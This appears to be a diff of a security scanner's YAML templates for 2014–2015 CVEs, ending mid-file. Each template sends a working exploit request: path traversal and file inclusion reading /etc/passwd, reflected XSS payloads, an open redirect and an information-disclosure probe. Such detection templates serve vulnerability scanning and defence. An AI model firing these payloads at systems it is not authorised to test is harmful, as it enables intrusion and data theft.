max-request: 1 - vendor: belkin - product: n150_f9k1009_firmware + description: Path traversal vulnerability in the webproc cgi module on the Belkin N150 F9K1009 v1 router with firmware before 1.00.08 allows remote attackers to read arbitrary files via a full pathname in the getpage parameter. + reference: https://www.exploit-db.com/exploits/38488 tags: cve,cve2014,lfi,router,firmware,traversal -http: +requests: - method: GET path: - "{{BaseURL}}/cgi-bin/webproc?getpage=/etc/passwd&var:page=deviceinfo" matchers-condition: and matchers: + - type: regex regex: - - "root:.*:0:0:" + - "root:.*:0:0" - type: status status: - 200 -# digest: 4a0a0047304502200dd2a5cead319121ffaf0a5a1f33bcd326c4373101b2d220bbe38cddcf5df02d022100f6b9132a21f2b0eaf545ce82419e46d7e69e8f5317812e554295b399b8181a19:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2014-4513.yaml b/poc/cve/CVE-2014-4513.yaml index 5a2b0f27fc..96a706f261 100644 --- a/poc/cve/CVE-2014-4513.yaml +++ b/poc/cve/CVE-2014-4513.yaml @@ -1,32 +1,20 @@ id: CVE-2014-4513 info: - name: ActiveHelper LiveHelp Server 3.1.0 - Cross-Site Scripting + name: ActiveHelper LiveHelp Server 3.1.0 - Reflected Cross-Site Scripting author: daffainfo severity: medium description: Multiple cross-site scripting vulnerabilities in server/offline.php in the ActiveHelper LiveHelp Live Chat plugin 3.1.0 and earlier for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) MESSAGE, (2) EMAIL, or (3) NAME parameter. - remediation: | - Upgrade to a patched version of ActiveHelper LiveHelp Server or apply the necessary security patches to mitigate the XSS vulnerability. reference: - https://nvd.nist.gov/vuln/detail/CVE-2014-4513 - http://codevigilant.com/disclosure/wp-plugin-activehelper-livehelp-a3-cross-site-scripting-xss classification: - cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N - cvss-score: 4.3 cve-id: CVE-2014-4513 - cwe-id: CWE-79 - epss-score: 0.00145 - epss-percentile: 0.50258 - cpe: cpe:2.3:a:activehelper:activehelper_livehelp_live_chat:*:*:*:*:*:wordpress:*:* metadata: - max-request: 1 - vendor: activehelper - product: activehelper_livehelp_live_chat - framework: wordpress google-query: inurl:"/wp-content/plugins/activehelper-livehelp" tags: cve,cve2014,wordpress,xss,wp-plugin -http: +requests: - method: GET path: - '{{BaseURL}}/wp-content/plugins/activehelper-livehelp/server/offline.php?MESSAGE=MESSAGE%3C%2Ftextarea%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&DOMAINID=DOMAINID&COMPLETE=COMPLETE&TITLE=TITLE&URL=URL&COMPANY=COMPANY&SERVER=SERVER&PHONE=PHONE&SECURITY=SECURITY&BCC=BCC&EMAIL=EMAIL%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&NAME=NAME%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&' @@ -34,9 +22,9 @@ http: matchers-condition: and matchers: - type: word - part: body words: - "" + part: body - type: word part: header @@ -46,4 +34,5 @@ http: - type: status status: - 200 -# digest: 4a0a00473045022100e631c13b3d54fa15ac8d40980b3a80aff87cd6466644d7256c55c78b08089dbf02207696b69e1ced3dbc21c1a0196c15743e06d67cfa195d043b2cbd542ae3f7f086:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/02/24 diff --git a/poc/cve/CVE-2014-4539.yaml b/poc/cve/CVE-2014-4539.yaml index 58be7d850d..e990363423 100644 --- a/poc/cve/CVE-2014-4539.yaml +++ b/poc/cve/CVE-2014-4539.yaml @@ -1,32 +1,21 @@ id: CVE-2014-4539 info: - name: Movies <= 0.6 - Cross-Site Scripting + name: Movies <= 0.6 - Unauthenticated Reflected Cross-Site Scripting (XSS) author: daffainfo severity: medium - description: A cross-site scripting vulnerability in the Movies plugin 0.6 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the filename parameter to getid3/demos/demo.mimeonly.php. - remediation: | - Upgrade to a patched version of the Movies plugin (version 0.7 or above) that addresses the XSS vulnerability. - reference: + reference: | - https://wpscan.com/vulnerability/d6ea4fe6-c486-415d-8f6d-57ea2f149304 - https://nvd.nist.gov/vuln/detail/CVE-2014-4539 - - http://codevigilant.com/disclosure/wp-plugin-movies-a3-cross-site-scripting-xss + tags: cve,cve2014,wordpress,wp-plugin,xss classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 + cvss-score: 6.10 cve-id: CVE-2014-4539 cwe-id: CWE-79 - epss-score: 0.00135 - epss-percentile: 0.48579 - cpe: cpe:2.3:a:movies_project:movies:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 1 - vendor: movies_project - product: movies - framework: wordpress - tags: wordpress,wp-plugin,xss,wpscan,cve,cve2014,unauth + description: "Cross-site scripting (XSS) vulnerability in the Movies plugin 0.6 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the filename parameter to getid3/demos/demo.mimeonly.php." -http: +requests: - method: GET path: - "{{BaseURL}}/wp-content/plugins/movies/getid3/demos/demo.mimeonly.php?filename=filename%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&" @@ -34,9 +23,9 @@ http: matchers-condition: and matchers: - type: word - part: body words: - "'>" + part: body - type: word part: header @@ -45,5 +34,4 @@ http: - type: status status: - - 200 -# digest: 4a0a0047304502202f5b820e650e7b362f35c203e4efc88b2870d7bd6cb4152470da71a695c5f424022100a0b6b62a62a6547c50641a8302710d23cca744de2361b336b74a438ccdbf75e0:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + - 200 \ No newline at end of file diff --git a/poc/cve/CVE-2014-4550.yaml b/poc/cve/CVE-2014-4550.yaml index 898d13a6bd..5ef6ff3910 100644 --- a/poc/cve/CVE-2014-4550.yaml +++ b/poc/cve/CVE-2014-4550.yaml @@ -1,31 +1,43 @@ id: CVE-2014-4550 info: - name: Shortcode Ninja <= 1.4 - Unauthenticated Reflected XSS + name: Shortcode Ninja <= 1.4 - Cross-Site Scripting author: daffainfo severity: medium - reference: | + description: A cross-site scripting vulnerability in preview-shortcode-external.php in the Shortcode Ninja plugin 1.4 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the shortcode parameter. + remediation: | + Update to the latest version of the Shortcode Ninja plugin (1.4 or higher) to fix the XSS vulnerability. + reference: - https://wpscan.com/vulnerability/c7c24c7d-5341-43a6-abea-4a50fce9aab0 - https://nvd.nist.gov/vuln/detail/CVE-2014-4550 - tags: cve,cve2014,wordpress,wp-plugin,xss + - http://codevigilant.com/disclosure/wp-plugin-shortcode-ninja-a3-cross-site-scripting-xss classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 + cvss-score: 6.1 cve-id: CVE-2014-4550 cwe-id: CWE-79 - description: "Cross-site scripting (XSS) vulnerability in preview-shortcode-external.php in the Shortcode Ninja plugin 1.4 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the shortcode parameter." + epss-score: 0.00135 + epss-percentile: 0.48579 + cpe: cpe:2.3:a:visualshortcodes:ninja:*:*:*:*:*:wordpress:*:* + metadata: + max-request: 1 + vendor: visualshortcodes + product: ninja + framework: wordpress + google-query: inurl:"/wp-content/plugins/shortcode-ninja" + tags: wordpress,wp-plugin,xss,wpscan,cve,cve2014,unauth -requests: +http: - method: GET path: - - "{{BaseURL}}/wp-content/plugins/shortcode–ninja/preview-shortcode-external.php?shortcode=shortcode%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3e" + - "{{BaseURL}}/wp-content/plugins/shortcode-ninja/preview-shortcode-external.php?shortcode=shortcode%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3e" matchers-condition: and matchers: - type: word + part: body words: - "'>" - part: body - type: word part: header @@ -34,4 +46,5 @@ requests: - type: status status: - - 200 \ No newline at end of file + - 200 +# digest: 4a0a00473045022062a597f0b14666a79b84e8d8560e95d6da6bc01419337aec3da1a297f4af7df2022100ec6e3441e24293ba34856ceb0a09d8ed0efe8360820f6e7bde85b6c37096deda:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2014-4940.yaml b/poc/cve/CVE-2014-4940.yaml index 13f17a9af9..4892b44bfb 100644 --- a/poc/cve/CVE-2014-4940.yaml +++ b/poc/cve/CVE-2014-4940.yaml @@ -1,26 +1,39 @@ id: CVE-2014-4940 info: - name: WordPress Plugin Tera Charts - Directory Traversal + name: WordPress Plugin Tera Charts - Local File Inclusion author: daffainfo - severity: high - description: Multiple directory traversal vulnerabilities in Tera Charts (tera-charts) plugin 0.1 for WordPress allow remote attackers to read arbitrary files via a .. (dot dot) in the fn parameter to (1) charts/treemap.php or (2) charts/zoomabletreemap.php. + severity: medium + description: Multiple local file inclusion vulnerabilities in Tera Charts (tera-charts) plugin 0.1 for WordPress allow remote attackers to read arbitrary files via a .. (dot dot) in the fn parameter to (1) charts/treemap.php or (2) charts/zoomabletreemap.php. + remediation: | + Update to the latest version of the Tera Charts plugin to fix the local file inclusion vulnerability. reference: - https://nvd.nist.gov/vuln/detail/CVE-2014-4940 - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=851874%40tera-charts&old=799253%40tera-charts&sfp_email=&sfph_mail= - http://codevigilant.com/disclosure/wp-plugin-tera-chart-local-file-inclusion/ classification: + cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N + cvss-score: 5 cve-id: CVE-2014-4940 + cwe-id: CWE-22 + epss-score: 0.03891 + epss-percentile: 0.90998 + cpe: cpe:2.3:a:tera_charts_plugin_project:tera-charts:0.1:*:*:*:*:wordpress:*:* + metadata: + max-request: 1 + vendor: tera_charts_plugin_project + product: tera-charts + framework: wordpress + google-query: inurl:"/wp-content/plugins/tera-charts" tags: cve,cve2014,wordpress,wp-plugin,lfi -requests: +http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/tera-charts/charts/zoomabletreemap.php?fn=../../../../../etc/passwd" matchers-condition: and matchers: - - type: regex regex: - "root:.*:0:0:" @@ -29,4 +42,4 @@ requests: status: - 200 -# Enhanced by mp on 2022/02/24 +# digest: 4a0a0047304502207cfabb76afc34be42d50cb6e83ab3bf5d1b7e8a70f10cd1e1fde6d4a89d2dfcd0221009665fd3be61b1f3846565c5029d19fbf22845e2fdd400713726354127576f78b:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/CVE-2014-9615.yaml b/poc/cve/CVE-2014-9615.yaml index b989d1bac0..a519d1a618 100644 --- a/poc/cve/CVE-2014-9615.yaml +++ b/poc/cve/CVE-2014-9615.yaml @@ -1,12 +1,9 @@ id: CVE-2014-9615 - info: name: Netsweeper 4.0.4 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in Netsweeper 4.0.4 allows remote attackers to inject arbitrary web script or HTML via the url parameter to webadmin/deny/index.php. - remediation: | - Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability. reference: - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz - https://nvd.nist.gov/vuln/detail/CVE-2014-9615 @@ -16,33 +13,23 @@ info: cvss-score: 6.1 cve-id: CVE-2014-9615 cwe-id: CWE-79 - epss-score: 0.00102 - epss-percentile: 0.4145 - cpe: cpe:2.3:a:netsweeper:netsweeper:4.0.4:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: netsweeper - product: netsweeper - tags: cve,cve2014,netsweeper,xss,packetstorm - -http: + tags: cve,cve2014,netsweeper,xss +requests: - method: GET path: - '{{BaseURL}}/webadmin/deny/index.php?dpid=1&dpruleid=1&cat=1&ttl=5018400&groupname=' - - type: word part: header words: - text/html - - type: status status: - 200 -# digest: 4a0a0047304502205ef2933a5793194e8d2b2110c339ecfa6b2d5af2f01aa6634a2e67f36d43c713022100fb8eece6038775f3e00d6ab884ce751040958ab6c6ace6cc9ba43457175efba6:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/02/25 diff --git a/poc/cve/CVE-2014-9617.yaml b/poc/cve/CVE-2014-9617.yaml index a735db87cd..a8e18df14d 100644 --- a/poc/cve/CVE-2014-9617.yaml +++ b/poc/cve/CVE-2014-9617.yaml @@ -5,34 +5,25 @@ info: author: daffainfo severity: medium description: An open redirect vulnerability in remotereporter/load_logfiles.php in Netsweeper before 4.0.5 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the url parameter. - remediation: | - Apply the latest security patches or updates provided by the vendor to fix the open redirection vulnerability. reference: - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz - https://nvd.nist.gov/vuln/detail/CVE-2014-9617 - - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 + cvss-score: 6.10 cve-id: CVE-2014-9617 cwe-id: CWE-601 - epss-score: 0.00109 - epss-percentile: 0.43874 - cpe: cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: netsweeper - product: netsweeper - tags: cve,cve2014,netsweeper,redirect,packetstorm + tags: cve,cve2014,netsweeper,redirect -http: +requests: - method: GET path: - - "{{BaseURL}}/remotereporter/load_logfiles.php?server=127.0.0.1&url=https://interact.sh/" + - "{{BaseURL}}/remotereporter/load_logfiles.php?server=127.0.0.1&url=https://example.com/" matchers: - type: regex part: header regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$' -# digest: 4a0a0047304502205d1f7558f359c383c1b4eaf29671869e429c50af111ff43c4ce1cc876d7388870221009755bb6079f0a8f36e40130361e9862cfbc4065f162c900d3d0b208456c557b6:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' + +# Enhanced by mp on 2022/02/25 diff --git a/poc/cve/CVE-2015-0554.yaml b/poc/cve/CVE-2015-0554.yaml index af65820b4d..f46160c5fb 100644 --- a/poc/cve/CVE-2015-0554.yaml +++ b/poc/cve/CVE-2015-0554.yaml @@ -1,21 +1,36 @@ id: CVE-2015-0554 + info: name: ADB/Pirelli ADSL2/2+ Wireless Router P.DGA4001N - Information Disclosure author: daffainfo - severity: high + severity: critical description: ADB (formerly Pirelli Broadband Solutions) P.DGA4001N router with firmware PDG_TEF_SP_4.06L.6 does not properly restrict access to the web interface, which allows remote attackers to obtain sensitive information or cause a denial of service (device restart) as demonstrated by a direct request to (1) wlsecurity.html or (2) resetrouter.html. + remediation: | + Apply the latest firmware update provided by the vendor to fix the information disclosure vulnerability. reference: - https://www.exploit-db.com/exploits/35721 - http://packetstormsecurity.com/files/129828/Pirelli-ADSL2-2-Wireless-Router-P.DGA4001N-Information-Disclosure.html - https://nvd.nist.gov/vuln/detail/CVE-2015-0554 - http://www.exploit-db.com/exploits/35721 classification: + cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:N/A:C + cvss-score: 9.4 cve-id: CVE-2015-0554 - tags: cve,cve2015,pirelli,router,disclosure -requests: + cwe-id: CWE-264 + epss-score: 0.01391 + epss-percentile: 0.8489 + cpe: cpe:2.3:o:adb:p.dga4001n_firmware:pdg_tef_sp_4.06l.6:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: adb + product: p.dga4001n_firmware + tags: pirelli,router,disclosure,edb,packetstorm,cve,cve2015 + +http: - method: GET path: - "{{BaseURL}}/wlsecurity.html" + matchers-condition: and matchers: - type: word @@ -25,8 +40,8 @@ requests: - "var WscDevPin" - "var sessionkey" condition: and + - type: status status: - 200 - -# Enhanced by mp on 2022/06/08 +# digest: 4a0a004730450221009e5be77f3a428506c44a02c42c6881eb7332bbd56be345e4a5eb4e880a667ff9022009a9b7e01b7f911cac29cbd7e0925c4cfb239ae4fe66e40ef76741c61e5ac0f9:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2015-1000012.yaml b/poc/cve/CVE-2015-1000012.yaml index 4646ca8790..ea629cb089 100644 --- a/poc/cve/CVE-2015-1000012.yaml +++ b/poc/cve/CVE-2015-1000012.yaml @@ -5,30 +5,22 @@ info: author: daffainfo severity: high description: WordPress MyPixs 0.3 and prior contains a local file inclusion vulnerability. - remediation: | - Update to the latest version of the MyPixs plugin (>=0.4) or apply the vendor-provided patch to fix the LFI vulnerability. reference: - https://wpscan.com/vulnerability/24b83ce5-e3b8-4262-b087-a2dfec014985 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1000012 - http://www.vapidlabs.com/advisory.php?v=154 - https://nvd.nist.gov/vuln/detail/CVE-2015-1000012 + - http://web.archive.org/web/20210518144916/https://www.securityfocus.com/bid/94495 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2015-1000012 cwe-id: CWE-200 - epss-score: 0.00773 - epss-percentile: 0.79246 - cpe: cpe:2.3:a:mypixs_project:mypixs:0.3:*:*:*:*:wordpress:*:* metadata: - max-request: 1 - vendor: mypixs_project - product: mypixs - framework: wordpress google-query: inurl:"/wp-content/plugins/mypixs" - tags: cve2015,wordpress,wp-plugin,lfi,wpscan,cve + tags: cve,cve2015,wordpress,wp-plugin,lfi -http: +requests: - method: GET path: - "{{BaseURL}}/wp-content/plugins/mypixs/mypixs/downloadpage.php?url=/etc/passwd" @@ -36,11 +28,11 @@ http: matchers-condition: and matchers: - type: regex - part: body regex: - "root:.*:0:0:" - + part: body - type: status status: - 200 -# digest: 4b0a00483046022100dbe2e7b8960fa092747f8c878b45509edba599dde457c9588a709180886503b2022100dd7c3c678f3ec9f67ddca73d5805b462ad5d7fd32d2d8b0efb8999adab8c9446:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/06/06 diff --git a/poc/cve/CVE-2015-1503.yaml b/poc/cve/CVE-2015-1503.yaml index e67e4e7617..2e6e725932 100644 --- a/poc/cve/CVE-2015-1503.yaml +++ b/poc/cve/CVE-2015-1503.yaml @@ -5,6 +5,8 @@ info: author: 0x_Akoko severity: high description: IceWarp Mail Server versions prior to 11.1.1 suffer from a directory traversal vulnerability. + remediation: | + Upgrade IceWarp Mail Server to version 11.1.1 or above to mitigate the directory traversal vulnerability. reference: - https://packetstormsecurity.com/files/147505/IceWarp-Mail-Server-Directory-Traversal.html - http://www.icewarp.com @@ -14,10 +16,18 @@ info: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2015-1503 - cwe-id: CWE-200 - tags: cve,cve2015,icewarp,lfi,mail + cwe-id: CWE-22 + epss-score: 0.91941 + epss-percentile: 0.98667 + cpe: cpe:2.3:a:icewarp:mail_server:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: icewarp + product: mail_server + shodan-query: title:"icewarp" + tags: lfi,mail,packetstorm,cve,cve2015,icewarp -requests: +http: - method: GET path: - "{{BaseURL}}/webmail/old/calendar/minimizer/index.php?script=...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2fetc%2fpasswd" @@ -25,7 +35,6 @@ requests: matchers-condition: and matchers: - - type: regex regex: - "root:[x*]:0:0" @@ -33,5 +42,4 @@ requests: - type: status status: - 200 - -# Enhanced by mp on 2022/06/06 +# digest: 4b0a00483046022100be808b2b1f95745942f82e5e00e7eba20c30db1b1003df08349a367a96e404d5022100ffda363eb9154cd105a4bc0f08ce37d2222ae357679a07684b4e9350eb57b6fa:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2015-1880.yaml b/poc/cve/CVE-2015-1880.yaml index 324c752a09..0086f66e71 100644 --- a/poc/cve/CVE-2015-1880.yaml +++ b/poc/cve/CVE-2015-1880.yaml @@ -1,31 +1,50 @@ id: CVE-2015-1880 + info: - name: XSS in Fortigates SSL VPN login page + name: Fortinet FortiOS <=5.2.3 - Cross-Site Scripting author: pikpikcu severity: medium - description: Cross-site scripting (XSS) vulnerability in the sslvpn login page in Fortinet FortiOS 5.2.x before 5.2.3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. + description: Fortinet FortiOS 5.2.x before 5.2.3 contains a cross-site scripting vulnerability in the SSL VPN login page which allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. + remediation: | + Upgrade Fortinet FortiOS to a version higher than 5.2.3 to mitigate this vulnerability. reference: - - https://nvd.nist.gov/vuln/detail/CVE-2015-1880 - https://www.c2.lol/articles/xss-in-fortigates-ssl-vpn-login-page - http://www.fortiguard.com/advisory/FG-IR-15-005/ - - http://www.securityfocus.com/bid/74652 + - https://nvd.nist.gov/vuln/detail/CVE-2015-1880 + - http://www.securitytracker.com/id/1032261 + - http://www.securitytracker.com/id/1032262 classification: + cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N + cvss-score: 4.3 cve-id: CVE-2015-1880 - tags: cve,cve2015,xss,fortigates,ssl -requests: + cwe-id: CWE-79 + epss-score: 0.00201 + epss-percentile: 0.5792 + cpe: cpe:2.3:o:fortinet:fortios:5.2.0:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: fortinet + product: fortios + tags: cve,cve2015,xss,fortigates,intrusive + +http: - method: GET path: - "{{BaseURL}}/remote/login?&err=--%3E%3Cscript%3Ealert('{{randstr}}')%3C/script%3E%3C!--&lang=en" + matchers-condition: and matchers: - type: word - words: - - "" part: body + words: + - + + - type: word + part: header + words: + - text/html + - type: status status: - 200 - - type: word - words: - - "text/html" - part: header +# digest: 4b0a00483046022100a7fc158a503a1219f2db09ae4dfeceb2c792dcca641f60b5d808fb025b4e75d0022100cb02049f449f45b507e2f2be40b9d02b533fad928082a572fd418849e582ccd4:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2015-2166.yaml b/poc/cve/CVE-2015-2166.yaml index 34f14e9085..143042641b 100644 --- a/poc/cve/CVE-2015-2166.yaml +++ b/poc/cve/CVE-2015-2166.yaml @@ -3,30 +3,18 @@ id: CVE-2015-2166 info: name: Ericsson Drutt MSDP - Local File Inclusion author: daffainfo - severity: medium + severity: high description: Ericsson Drutt Mobile Service Delivery Platform (MSDP) 4, 5, and 6 allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the default URI in the Instance Monitor. - remediation: | - Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in the Ericsson Drutt MSDP application. reference: - https://www.exploit-db.com/exploits/36619 - https://nvd.nist.gov/vuln/detail/CVE-2015-2166 - http://packetstormsecurity.com/files/131233/Ericsson-Drutt-MSDP-Instance-Monitor-Directory-Traversal-File-Access.html - - https://www.exploit-db.com/exploits/36619/ + - http://web.archive.org/web/20210122142229/https://www.securityfocus.com/bid/73901/ classification: - cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N - cvss-score: 5 cve-id: CVE-2015-2166 - cwe-id: CWE-22 - epss-score: 0.23272 - epss-percentile: 0.96075 - cpe: cpe:2.3:a:ericsson:drutt_mobile_service_delivery_platform:4.0:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: ericsson - product: drutt_mobile_service_delivery_platform - tags: cve,cve2015,lfi,ericsson,edb,packetstorm + tags: cve,cve2015,lfi,ericsson -http: +requests: - method: GET path: - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" @@ -41,4 +29,5 @@ http: - type: status status: - 200 -# digest: 4a0a00473045022100d59b5607d6615416be4f3aadc82eff16262283d2a6125a49d37667b22d3c35da02202bdded26fca10bd7ddcdd4cfde587e8953f0b45861313b66df6c8d1b8f0725ad:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/06/08 diff --git a/poc/cve/CVE-2015-4050.yaml b/poc/cve/CVE-2015-4050.yaml index a56e9847ee..2d3be7d772 100644 --- a/poc/cve/CVE-2015-4050.yaml +++ b/poc/cve/CVE-2015-4050.yaml @@ -5,10 +5,12 @@ info: author: ELSFA7110,meme-lord severity: high description: FragmentListener in the HttpKernel component in Symfony 2.3.19 through 2.3.28, 2.4.9 through 2.4.10, 2.5.4 through 2.5.11, and 2.6.0 through 2.6.7, when ESI or SSI support enabled, does not check if the _controller attribute is set, which allows remote attackers to bypass URL signing and security rules by including (1) no hash or (2) an invalid hash in a request to /_fragment. - tags: cve,cve2015,symfony,rce reference: - https://symfony.com/blog/cve-2015-4050-esi-unauthorized-access - https://nvd.nist.gov/vuln/detail/CVE-2015-4050 + classification: + cve-id: CVE-2015-4050 + tags: cve,cve2015,symfony,rce requests: - method: GET diff --git a/poc/cve/CVE-2015-4666.yaml b/poc/cve/CVE-2015-4666.yaml index 2971c94635..0b7f8ae662 100644 --- a/poc/cve/CVE-2015-4666.yaml +++ b/poc/cve/CVE-2015-4666.yaml @@ -1,44 +1,29 @@ id: CVE-2015-4666 - info: - name: Xceedium Xsuite <=2.4.4.5 - Local File Inclusion + name: Xceedium Xsuite 2.4.4.5 - Directory Traversal author: 0x_Akoko - severity: medium - description: Xceedium Xsuite 2.4.4.5 and earlier is vulnerable to local file inclusion via opm/read_sessionlog.php that allows remote attackers to read arbitrary files in the logFile parameter. - remediation: | - Upgrade Xceedium Xsuite to a version higher than 2.4.4.5 or apply the necessary patches provided by the vendor. + severity: high + description: Directory traversal vulnerability in opm/read_sessionlog.php in Xceedium Xsuite 2.4.4.5 and earlier allows remote attackers to read arbitrary files in the logFile parameter. reference: - https://www.modzero.com/advisories/MZ-15-02-Xceedium-Xsuite.txt + - https://www.cvedetails.com/cve/CVE-2015-4666 - http://packetstormsecurity.com/files/132809/Xceedium-Xsuite-Command-Injection-XSS-Traversal-Escalation.html - - https://nvd.nist.gov/vuln/detail/CVE-2015-4666 - - https://support.ca.com/us/product-content/recommended-reading/security-notices/ca20180614-01--security-notice-for-ca-privileged-access-manager.html - - https://www.exploit-db.com/exploits/37708/ + - http://www.modzero.ch/advisories/MZ-15-02-Xceedium-Xsuite.txt classification: - cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N - cvss-score: 5 + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 cve-id: CVE-2015-4666 cwe-id: CWE-22 - epss-score: 0.02372 - epss-percentile: 0.88668 - cpe: cpe:2.3:a:xceedium:xsuite:2.3.0:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: xceedium - product: xsuite - tags: xceedium,xsuite,lfi,packetstorm,cve,cve2015 - -http: + tags: cve,cve2015,xceedium,xsuite,lfi +requests: - method: GET path: - "{{BaseURL}}/opm/read_sessionlog.php?logFile=....//....//....//....//etc/passwd" - matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - - type: status status: - 200 -# digest: 4a0a00473045022100d5ea3fbf52929c9c3c15e76515a20a879bd643833b6f480fafe742f9f3b767190220102259e3683e0bdefc1969db51a3a5641c34975ae7b293eacb87333aee402613:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2015-4694.yaml b/poc/cve/CVE-2015-4694.yaml index 5b3dd9b7da..1ebf1fd4d4 100644 --- a/poc/cve/CVE-2015-4694.yaml +++ b/poc/cve/CVE-2015-4694.yaml @@ -1,46 +1,19 @@ id: CVE-2015-4694 - info: - name: WordPress Zip Attachments <= 1.1.4 - Arbitrary File Retrieval + name: Zip Attachments <= 1.1.4 - Arbitrary File Download author: 0x_Akoko severity: high - description: WordPress zip-attachments plugin allows arbitrary file retrieval as it does not check the download path of the requested file. - remediation: | - Update to the latest version of the WordPress Zip Attachments plugin (1.1.4) or remove the plugin if not needed. - reference: - - https://wordpress.org/plugins/zip-attachments/#developers - - https://wpscan.com/vulnerability/8047 - - https://nvd.nist.gov/vuln/detail/CVE-2015-4694 - - http://www.vapid.dhs.org/advisory.php?v=126 - - https://wordpress.org/plugins/zip-attachments/changelog/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - cvss-score: 8.6 - cve-id: CVE-2015-4694 - cwe-id: CWE-22 - epss-score: 0.02304 - epss-percentile: 0.88508 - cpe: cpe:2.3:a:zip_attachments_project:zip_attachments:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 1 - vendor: zip_attachments_project - product: zip_attachments - framework: wordpress - google-query: inurl:"/wp-content/plugins/zip-attachments" - tags: cve2015,wp-plugin,wpscan,lfi,wordpress,cve - -http: + tags: lfi,wordpress,wp,cve + reference: https://wpscan.com/vulnerability/8047 +requests: - method: GET path: - '{{BaseURL}}/wp-content/plugins/zip-attachments/download.php?za_file=../../../../../etc/passwd&za_filename=passwd' - matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - - type: status status: - 200 -# digest: 4a0a00473045022038c4409f8bfade10fb5beb348a5186e87d2638869e387246c7a41a093a59238302210089e0ee19376c3551f7c99d1ce273ae2783d26129aa89256fb432dcf0793ca106:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2015-5354.yaml b/poc/cve/CVE-2015-5354.yaml index 7f54a96963..20062f876d 100644 --- 